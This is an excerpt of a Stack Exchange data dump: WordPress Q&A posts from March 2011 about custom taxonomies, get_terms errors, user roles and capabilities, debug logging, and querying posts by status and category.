  <row Id="13466" PostTypeId="2" ParentId="13464" CreationDate="2011-03-30T04:57:55.493" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried using wp_get_object_terms?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something along the lines of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$article_subjects = wp_get_object_terms($post-&amp;gt;ID, 'subject');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-30T04:57:55.493" />
  <row Id="13467" PostTypeId="2" ParentId="13464" CreationDate="2011-03-30T05:02:07.347" Score="1" ViewCount="" Body="&lt;p&gt;I tried the code below and it works -- is this what you're looking for?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    // grab your custom post type and output them all&#xA;    query_posts('post_type=articles&amp;amp;posts_per_page=-1');&#xA;&#xA;    if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;&#xA;        // you can output your title, permalink, etc. anywhere within the loop&#xA;&#xA;        // get all items in your custom taxonomy&#xA;        $terms = get_the_terms($post-&amp;gt;ID, 'Subject');&#xA;&#xA;        // loop through each term and perform your check&#xA;        foreach ( $terms as $term ) {&#xA;            if($term-&amp;gt;name == 'Term you are checking for') {&#xA;                // do stuff here&#xA;            }&#xA;        }&#xA;    endwhile; endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace 'Term you are checking for' above with the actual name of the subject you are checking against, not the slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I'm no expert on database performance, so not sure if this is the optimal way to retrieve the information you're after -- I'm open to others' input.&lt;/p&gt;&#xA;" OwnerUserId="4296" LastEditorUserId="4296" LastEditorDisplayName="" LastEditDate="2011-03-30T05:07:42.037" LastActivityDate="2011-03-30T05:07:42.037" />
  <row Id="13469" PostTypeId="2" ParentId="13430" CreationDate="2011-03-30T05:29:39.723" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at this answers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5979/fron-end-post-submission/6043#6043&quot;&gt;Fron-End Post Submission&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8569/wp-insert-post-php-function-and-custom-fields/8600#8600&quot;&gt;WP insert post PHP function and Custom Fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-03-30T05:29:39.723" />
  <row Id="13470" PostTypeId="2" ParentId="13413" CreationDate="2011-03-30T05:39:58.077" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://phpdoc.wordpress.org/trunk/WordPress/User/WP_Role.html&quot; rel=&quot;nofollow&quot;&gt;WP_Role&lt;/a&gt; class,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get the the role object&#xA;$role_object = get_role( $role_name );&#xA;&#xA;// add $cap capability to this role object&#xA;$role_object-&amp;gt;add_cap( $capability_name );&#xA;&#xA;// remove $cap capability from this role object&#xA;$role_object-&amp;gt;remove_cap( $capability_name );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you can run this once in your functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Roles &amp;amp; Capabilities */&#xA;add_role('professional', 'Professional User', array(&#xA;    'read' =&amp;gt; true, // True allows that capability, False specifically removes it.&#xA;    'edit_posts' =&amp;gt; true,&#xA;    'delete_posts' =&amp;gt; true,&#xA;    //'edit_published_posts' =&amp;gt; true,&#xA;    //'publish_posts' =&amp;gt; true,&#xA;    //'edit_files' =&amp;gt; true,&#xA;    'upload_files' =&amp;gt; true //last in array needs no comma!&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="2362" LastEditorDisplayName="" LastEditDate="2011-03-30T15:59:24.197" LastActivityDate="2011-03-30T15:59:24.197" CommentCount="4" />
  <row Id="13471" PostTypeId="1" CreationDate="2011-03-30T06:26:28.427" Score="0" ViewCount="84" Body="&lt;p&gt;I had a Theme that worked OK with ver 2.7. Now that I upgraded to 3.1; I cannot see the &quot;custom fields&quot; in the posts(may be hidden??). Can someone help.Thanks&lt;/p&gt;&#xA;" OwnerUserId="4313" LastActivityDate="2011-03-30T12:48:06.830" Title="custom fields cannt be seen with version 3.1" Tags="&lt;custom-post-types&gt;&lt;wp-enqueue-script&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13472" PostTypeId="2" ParentId="4197" CreationDate="2011-03-30T07:57:00.470" Score="0" ViewCount="" Body="&lt;p&gt;Thanks for your input guys. Didnt realise i'd never posted back on this! Thanks to Ethan and a few other foums heres the working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; global $wpdb;&#xA; global $post;&#xA; $querystr = &quot;&#xA;SELECT * FROM $wpdb-&amp;gt;posts&#xA;LEFT JOIN $wpdb-&amp;gt;postmeta AS proporder ON(&#xA;$wpdb-&amp;gt;posts.ID = proporder.post_id&#xA;AND proporder.meta_key = 'prop_order'&#xA;)&#xA;LEFT JOIN $wpdb-&amp;gt;postmeta AS propfeatured ON(&#xA;$wpdb-&amp;gt;posts.ID = propfeatured.post_id&#xA;AND propfeatured.meta_key = 'featured_post'&#xA;)&#xA;LEFT JOIN $wpdb-&amp;gt;term_relationships ON($wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;term_relationships.object_id)&#xA;LEFT JOIN $wpdb-&amp;gt;term_taxonomy ON($wpdb-&amp;gt;term_relationships.term_taxonomy_id = $wpdb-&amp;gt;term_taxonomy.term_taxonomy_id)&#xA;WHERE $wpdb-&amp;gt;term_taxonomy.term_id = 4&#xA;AND $wpdb-&amp;gt;term_taxonomy.taxonomy = 'category'&#xA;AND $wpdb-&amp;gt;posts.post_status = 'publish'&#xA;AND propfeatured.meta_value='Yes'&#xA;ORDER BY proporder.meta_value ASC&#xA; &quot;;&#xA;&#xA; $pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA; //print_r($querystr);&#xA;?&amp;gt;&#xA;&amp;lt;?php foreach ($pageposts as $post): ?&amp;gt;&#xA;&amp;lt;?php setup_postdata($post); ?&amp;gt;&#xA;&#xA;&amp;lt;!-- some post stuff here --&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where 'prop_order' and 'featured_post' are the custom fields and posts are returned that match featured_post='Yes' and then they are ordered by 'prop_order' in ASC order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-03-30T07:57:00.470" />
  <row Id="13473" PostTypeId="2" ParentId="13389" CreationDate="2011-03-30T08:16:46.490" Score="0" ViewCount="" Body="&lt;p&gt;got a result on stack overflow which worked spot on thanks to @poelinca. code is below incase anybody else has the same issue: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this function in you're theme/functions.php file :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_deep_child_category( $categories )&#xA;{&#xA;    $maxId = 0;&#xA;    $maxKey = 0;&#xA;    foreach ( $categories as $key =&amp;gt; $value )&#xA;    {&#xA;        if ( $value-&amp;gt;parent &amp;gt; $maxId )&#xA;        {&#xA;            $maxId = $value-&amp;gt;term_id;&#xA;            $maxKey = $key;&#xA;        }&#xA;    }&#xA;    return $categories[$maxKey];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then let's say as in you're example in theme/search.php you do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_the_category();&#xA;if ( $categories ) :&#xA;    $deepChild = get_deep_child_category( $categories );&#xA;    ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_category_link( $deepChild-&amp;gt;term_id ); ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo sprintf( __( &quot;View all posts in %s&quot; ), $deepChild-&amp;gt;name ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $deepChild-&amp;gt;name; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php &#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;From my knoledge there is no other way&#xA;  of sorting categories thru&#xA;  get_the_category() but i might be&#xA;  mistaken and the code above wouldn't&#xA;  be the best way of doing things if so&#xA;  .&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;@chip bennett, thanks for your input, I did try this but struggled to get it working how I needed (removing the separators).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-03-30T08:16:46.490" />
  <row Id="13474" PostTypeId="2" ParentId="13445" CreationDate="2011-03-30T09:06:38.827" Score="1" ViewCount="" Body="&lt;p&gt;If i had to venture a guess at the cause of the problem my initial thought would be toward the flush rules call. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Andy said, having debug on helps a great deal, and if you really don't want to see the errors, you can always use the debug log instead, using the following in your config file..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_DEBUG', true);          // Turn on debug mode&#xA;define('WP_DEBUG_LOG', true);      // Logs errors to wp-content/debug.log&#xA;define('WP_DEBUG_DISPLAY', false); // Disable displaying errors&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With regard to your settings update not redirecting, typically that occurs when the nonce(s) are missing or incorrect, though i'll admit it could be something else in your case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any errors shown with debug on? (or in the log if you're using that method?)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-30T09:06:38.827" CommentCount="1" />
  <row Id="13476" PostTypeId="2" ParentId="10624" CreationDate="2011-03-30T09:42:25.623" Score="0" ViewCount="" Body="&lt;p&gt;bowob demo:http://wordpress.bowob.com/ + fb connect plugin&lt;/p&gt;&#xA;" OwnerUserId="4287" LastActivityDate="2011-03-30T09:42:25.623" />
  <row Id="13477" PostTypeId="1" AcceptedAnswerId="13597" CreationDate="2011-03-30T10:28:37.783" Score="0" ViewCount="221" Body="&lt;p&gt;I have custom post type called &lt;code&gt;paintings&lt;/code&gt; and it has a custom taxonomy called &lt;code&gt;paintings_category&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have this situation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;example.com/paintings/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A page using &lt;code&gt;page-paintings.php&lt;/code&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;example.com/paintings_category/landscape/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Lists all &lt;code&gt;landscape&lt;/code&gt; items in &lt;code&gt;taxonomy.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;example.com/paintings/landscape/painting-title/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Displays single painting post types, eg. &lt;code&gt;single-paintings.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I try changing the slug as below, I get a 404 error on: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;example.com/paintings/landscape/painting-title/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy( &#xA;    'paintings_category', array('paintings'), &#xA;    array( &#xA;        'hierarchical' =&amp;gt; true, &#xA;        'label' =&amp;gt; 'Categories', &#xA;        'singular_label' =&amp;gt; 'Category', &#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'paintings' )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like behaviour to be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;example.com/paintings/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ideally list &lt;code&gt;paintings_category&lt;/code&gt; as links&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;example.com/paintings/landscape/&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;lists all items of &lt;code&gt;landscape&lt;/code&gt; taxonomy&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;example.com/paintings/landscape/painting-title/&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;displays single item&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how I can achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding &lt;code&gt;paintings&lt;/code&gt; as a parent of &lt;code&gt;landscape&lt;/code&gt; category in &lt;code&gt;paintings_category&lt;/code&gt; but this still leaves me with a 404 on the single.&lt;/p&gt;&#xA;" OwnerUserId="4316" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-30T11:06:49.160" LastActivityDate="2011-03-31T08:14:06.917" Title="custom post type and custom taxonomy url conflict" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;404-error&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13479" PostTypeId="2" ParentId="13464" CreationDate="2011-03-30T11:02:52.313" Score="0" ViewCount="" Body="&lt;p&gt;if each article has a subject, you don't need to check &lt;strong&gt;whether&lt;/strong&gt; it has a subject, right? Then you can use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_the_term_list( $post-&amp;gt;ID, 'subject', __('Subject: ', 'theme-name'), '  ', '' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-03-30T11:02:52.313" />
  <row Id="13480" PostTypeId="1" AcceptedAnswerId="13482" CreationDate="2011-03-30T11:27:22.973" Score="0" ViewCount="235" Body="&lt;p&gt;Hi when i try to &lt;code&gt;get_terms();&lt;/code&gt; in theme options via this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$catalogs_terms = get_terms( 'catalogs' );&#xA;   $mycatalogs = array( -1 =&amp;gt; 'Select a catalog' );&#xA;   if ( $catalogs_terms ) {&#xA;      foreach ( $catalogs_terms as $catalog_term ) {&#xA;         $mycatalogs[$catalog_term-&amp;gt;term_id] = $catalog_term-&amp;gt;name;&#xA;      }&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;return empty but this code is working fine every where in pages etc.&#xA;when i try to &lt;code&gt;print_r( $catalogs_terms )&lt;/code&gt; output i am getting errors &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [errors] =&amp;gt; Array ( [invalid_taxonomy] =&amp;gt; Array ( [0] =&amp;gt; Invalid Taxonomy ) ) [error_data] =&amp;gt; Array ( ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i don't understand where am i wrong?&#xA;my function for register taxonomy&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action( 'init', 'my_taxonomies', 0 );&#xA;&#xA;function my_taxonomies() {&#xA;    // Add new taxonomy, make it hierarchical (like categories)&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x( 'Catalogs', 'taxonomy general name' ),&#xA;        'singular_name' =&amp;gt; _x( 'Catalog', 'taxonomy singular name' ),&#xA;        'search_items' =&amp;gt;  __( 'Search Catalogs', 'mytextdomain' ),&#xA;        'all_items' =&amp;gt; __( 'All Catalogs', 'mytextdomain' ),&#xA;        'parent_item' =&amp;gt; __( 'Parent Catalog', 'mytextdomain' ),&#xA;        'parent_item_colon' =&amp;gt; __( 'Parent Catalog:', 'mytextdomain' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit Catalog', 'mytextdomain' ), &#xA;        'update_item' =&amp;gt; __( 'Update Catalog', 'mytextdomain' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add New Catalog', 'mytextdomain' ),&#xA;        'new_item_name' =&amp;gt; __( 'New Catalog Name', 'mytextdomain' ),&#xA;        'menu_name' =&amp;gt; __( 'Catalogs', 'mytextdomain' ),&#xA;    );  &#xA;&#xA;    // register catalogs hierarchical (like categories)&#xA;    register_taxonomy( 'catalogs',&#xA;        array( 'news' ),&#xA;        array( 'hierarchical' =&amp;gt; true,&#xA;            'labels' =&amp;gt; $labels,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'public' =&amp;gt; true,&#xA;            'query_var' =&amp;gt; true,&#xA;            'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'catalogs' )&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3311" LastActivityDate="2011-04-08T14:45:44.867" Title="get_terms return errors" Tags="&lt;3.1&gt;&lt;taxonomy&gt;&lt;terms&gt;&lt;errors&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="13481" PostTypeId="2" ParentId="13471" CreationDate="2011-03-30T12:48:06.830" Score="2" ViewCount="" Body="&lt;p&gt;WordPress 3.1 hides some of these options.  If you go to edit a post, look on the upper right of your screen.  You will see &quot;screen options.&quot;  From there, you can click custom fields (as well as other options).&lt;/p&gt;&#xA;" OwnerUserId="4319" LastActivityDate="2011-03-30T12:48:06.830" />
  <row Id="13482" PostTypeId="2" ParentId="13480" CreationDate="2011-03-30T12:53:33.820" Score="1" ViewCount="" Body="&lt;p&gt;As i was mentioning before, it's a case of your term fetching occuring before the taxonomy has been registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The init action occurs after the theme's functions file has been included, so if you're looking for terms directly in the functions file, you're doing so before they've actually been registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a portion of the code from &lt;code&gt;wp-settings.php&lt;/code&gt; that includes the theme functions and does the &lt;code&gt;init&lt;/code&gt; action.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Load the functions for the active theme, for both parent and child theme if applicable.&#xA;if ( TEMPLATEPATH !== STYLESHEETPATH &amp;amp;&amp;amp; file_exists( STYLESHEETPATH . '/functions.php' ) )&#xA;    include( STYLESHEETPATH . '/functions.php' );&#xA;if ( file_exists( TEMPLATEPATH . '/functions.php' ) )&#xA;    include( TEMPLATEPATH . '/functions.php' );&#xA;&#xA;do_action( 'after_setup_theme' );&#xA;&#xA;// Load any template functions the theme supports.&#xA;require_if_theme_supports( 'post-thumbnails', ABSPATH . WPINC . '/post-thumbnail-template.php' );&#xA;&#xA;register_shutdown_function( 'shutdown_action_hook' );&#xA;&#xA;// Set up current user.&#xA;$wp-&amp;gt;init();&#xA;&#xA;/**&#xA; * Most of WP is loaded at this stage, and the user is authenticated. WP continues&#xA; * to load on the init hook that follows (e.g. widgets), and many plugins instantiate&#xA; * themselves on it for all sorts of reasons (e.g. they need a user, a taxonomy, etc.).&#xA; *&#xA; * If you wish to plug an action once WP is loaded, use the wp_loaded hook below.&#xA; */&#xA;do_action( 'init' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see the &lt;code&gt;init&lt;/code&gt; action doesn't fire until after the theme functions file is included, therefore any term retrieval must occur after init. I can't really advise you any further though because you've only shown me a portion of your code, so i've not much of an idea of the context you're trying to use the term function in, but it certainly can't be called directly in the functions file(outside a callback hooked onto a specific action/filter because the code will run to soon).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully the above illustrates the problem enough for you.. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional note:&lt;/strong&gt;&lt;br&gt;&#xA;This function is missing a var from the global statement(you'd see PHP notices if you had debug turned on).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function news_updated_messages( $messages ) {&#xA;    global $post;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should read..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function news_updated_messages( $messages ) {&#xA;    global $post, $post_ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.. because code inside that function references that var, but the variable doesn't have scope inside the function, my above suggested change will fix that.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Follow-up #1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When creating a plugin or theme page, you first have to setup/register that page, this is typically done like so..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'my_theme_menu');&#xA;&#xA;function my_theme_menu() {&#xA;    add_theme_page( 'Theme Settings', 'Theme Settings', 'manage_options', 'my-unique-identifier', 'my_theme_settings' );&#xA;}&#xA;function my_theme_settings() {&#xA;&#xA;    // Code to display/handle theme options would be here&#xA;    // You get_terms() call should work inside this function just fine&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the theme page is created differently, &lt;em&gt;specific to the premium theme you're using&lt;/em&gt; then i can't really help as they tend to use a framework that is entirely different to regular WordPress themes. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-30T14:41:44.690" LastActivityDate="2011-03-30T14:41:44.690" CommentCount="14" />
  <row Id="13483" PostTypeId="1" AcceptedAnswerId="13975" CreationDate="2011-03-30T13:05:40.397" Score="1" ViewCount="227" Body="&lt;p&gt;We want the users to re-order the posts on a page similar to pagination but I can't find anything anywhere!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great to create a link to a url similar to &lt;code&gt;.../page/2/title/&lt;/code&gt;, &lt;code&gt;title&lt;/code&gt; being the new order. Is this even possible?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found several pagination scripts but none offer this option...&lt;/p&gt;&#xA;" OwnerUserId="3978" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-05T16:50:19.470" LastActivityDate="2011-04-05T16:50:19.470" Title="Sorting archive pages with &quot;pretty&quot; URLs?" Tags="&lt;url-rewriting&gt;&lt;pagination&gt;&lt;archive&gt;&lt;sort&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="13484" PostTypeId="1" AcceptedAnswerId="13489" CreationDate="2011-03-30T13:41:40.637" Score="1" ViewCount="592" Body="&lt;p&gt;i am creating a frontend dashboard where i need to show all the post by the current user. So i need to show posts with all post status. Mainly published, trashed and the pending. I am now  using simple query post but it is returning only the published posts as expected.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = array(&#xA;    'post_type' =&amp;gt; 'my-post-type',&#xA;    'post_author' =&amp;gt; $current_user-&amp;gt;ID              &#xA;    );&#xA;    query_posts($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help what i need do extra?&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-03-30T14:20:50.643" Title="How to Get All Posts with any post status?" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;post-status&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13485" PostTypeId="1" AcceptedAnswerId="13487" CreationDate="2011-03-30T13:56:04.057" Score="1" ViewCount="311" Body="&lt;p&gt;is it possible to get all subcategories from a certain category?&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-30T14:13:10.193" Title="list all subcategories from category" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="13487" PostTypeId="2" ParentId="13485" CreationDate="2011-03-30T14:13:10.193" Score="3" ViewCount="" Body="&lt;p&gt;Yes, you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;get_categories()&lt;/a&gt; using   &lt;code&gt;'child_of'&lt;/code&gt; attribute.&#xA;for example all sub categories of category with the ID of 17:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array('child_of' =&amp;gt; 17);&#xA;$categories = get_categories( $args );&#xA;foreach($categories as $category) { &#xA;    echo '&amp;lt;p&amp;gt;Category: &amp;lt;a href=&quot;' . get_category_link( $category-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $category-&amp;gt;name.'&amp;lt;/a&amp;gt; &amp;lt;/p&amp;gt; ';&#xA;    echo '&amp;lt;p&amp;gt; Description:'. $category-&amp;gt;description . '&amp;lt;/p&amp;gt;';&#xA;    echo '&amp;lt;p&amp;gt; Post Count: '. $category-&amp;gt;count . '&amp;lt;/p&amp;gt;';  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will get all categories that are descendants (i.e. children &amp;amp; grandchildren) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to display only categories that are direct descendants (i.e. children only) the you can use &lt;code&gt;'parent'&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array('parent' =&amp;gt; 17);&#xA;$categories = get_categories( $args );&#xA;foreach($categories as $category) { &#xA;    echo '&amp;lt;p&amp;gt;Category: &amp;lt;a href=&quot;' . get_category_link( $category-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $category-&amp;gt;name.'&amp;lt;/a&amp;gt; &amp;lt;/p&amp;gt; ';&#xA;    echo '&amp;lt;p&amp;gt; Description:'. $category-&amp;gt;description . '&amp;lt;/p&amp;gt;';&#xA;    echo '&amp;lt;p&amp;gt; Post Count: '. $category-&amp;gt;count . '&amp;lt;/p&amp;gt;';  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-30T14:13:10.193" CommentCount="2" />
  <row Id="13488" PostTypeId="1" CreationDate="2011-03-30T14:15:55.383" Score="0" ViewCount="82" Body="&lt;p&gt;If I am using transient API to store something and then I remove the concern code, the transient would still expire after its life, i.e. the transient expiration is totally disconnected from how it was setup. Right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate if someone can throw some info on its internal working :)&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-30T14:15:55.383" Title="Transient expiration" Tags="&lt;transient&gt;" CommentCount="6" />
  <row Id="13489" PostTypeId="2" ParentId="13484" CreationDate="2011-03-30T14:20:50.643" Score="3" ViewCount="" Body="&lt;p&gt;You can use the post_status parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* 'publish' - a published post or page&#xA;* 'pending' - post is pending review&#xA;* 'draft' - a post in draft status&#xA;* 'auto-draft' - a newly created post, with no content&#xA;* 'future' - a post to publish in the future&#xA;* 'private' - not visible to users who are not logged in&#xA;* 'inherit' - a revision. see get_children.&#xA;* 'trash' - post is in trashbin. added with Version 2.9. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure that it accepts 'any' so use and array with all of the types you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = array(&#xA;    'post_type' =&amp;gt; 'my-post-type',&#xA;    'post_author' =&amp;gt; $current_user-&amp;gt;ID,&#xA;    'post_status' =&amp;gt; array('publish', 'pending', 'draft', 'auto-draft', 'future', 'private', 'inherit', 'trash')    &#xA;);&#xA;query_posts($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-30T14:20:50.643" CommentCount="1" />
